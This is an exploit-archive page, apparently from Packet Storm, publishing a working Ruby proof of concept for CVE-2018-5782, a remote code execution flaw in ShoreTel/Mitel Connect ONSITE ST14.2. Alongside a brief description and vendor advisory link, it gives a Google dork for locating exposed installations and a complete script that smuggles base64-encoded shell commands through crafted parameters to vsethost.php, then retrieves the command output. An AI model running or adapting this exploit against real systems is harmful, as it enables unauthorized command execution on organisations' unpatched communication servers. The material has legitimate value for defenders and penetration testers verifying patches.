exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ShoreTel / Mitel Connect ONSITE ST14.2 Remote Code Execution

ShoreTel / Mitel Connect ONSITE ST14.2 Remote Code Execution
Posted Jan 17, 2019
Authored by twosevenzero

ShoreTel / Mitel Connect ONSITE ST14.2 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2018-5782
SHA-256 | 87ae92c32eaba681a5a6d67e41e75964eaa0e457d2a28f8d7e2dddbe33ce22a1

ShoreTel / Mitel Connect ONSITE ST14.2 Remote Code Execution

Change Mirror Download
# Exploit Title: ShoreTel / Mitel Connect ONSITE ST14.2 Remote Code Execution
# Google Dork: +"Public" +"My Conferences" +"Personal Library" +"My Profile" +19.49.5200.0
# Date: 01-01-2019
# Exploit Author: twosevenzero
# Vendor Homepage: https://www.mitel.com/
# Version: 19.49.5200.0 (and very likely many others prior and after)
# CVE : CVE-2018-5782 ( https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5782)

Description
===========
There are multiple vulnerabilities in ShoreTel/Mitel Connect ONSITE ST 14.2
which, when chained together, result in remote code execution in the
context of the running service. The vendor was contacted by Jared McLaren
of SecureWorks in early 2018 but a proof of concept was not released. I had
access to a single device during the development of this exploit. As such,
your system paths may be different and you may need to edit this script to
fit your needs.

Solution
========
The vendor has released a response stating that the newest versions are not
affected. Please see their response for upgrade instructions.

https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-18-0004

#!/usr/bin/env ruby

require "base64"
require "methadone"
require "faraday"

include Methadone::Main
include Methadone::CLILogging

main do |base_url,command|

cmd_b64 = Base64.strict_encode64(command.strip)

conn = Faraday.new(:url => base_url.strip)
res = conn.get do |req|
req.url "/scripts/vsethost.php",
{
:hostId => "system",
:keyCode => "base64_decode",
:meetingType => "{${gKeyCode}($gSessionDir)}",
:sessionDir => cmd_b64,
:swfServer => "{${gHostID}($gMeetingType)}",
:server => "exec",
:dir => "/usr/share/apache2/htdocs/wc2_deploy/scripts/"
}
end

rce = conn.get do |req|
req.url "/scripts/vmhost.php"
end

print rce.body.to_s
end

version "0.1.0"
description "Shoretel/Mitel Connect Onsite ST 14.2 Remote Code Execution PoC"

arg :base_url, "URL of vulnerable Connect Onsite ST 14.2 Installation."
arg :command, "Command to run."

go!

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close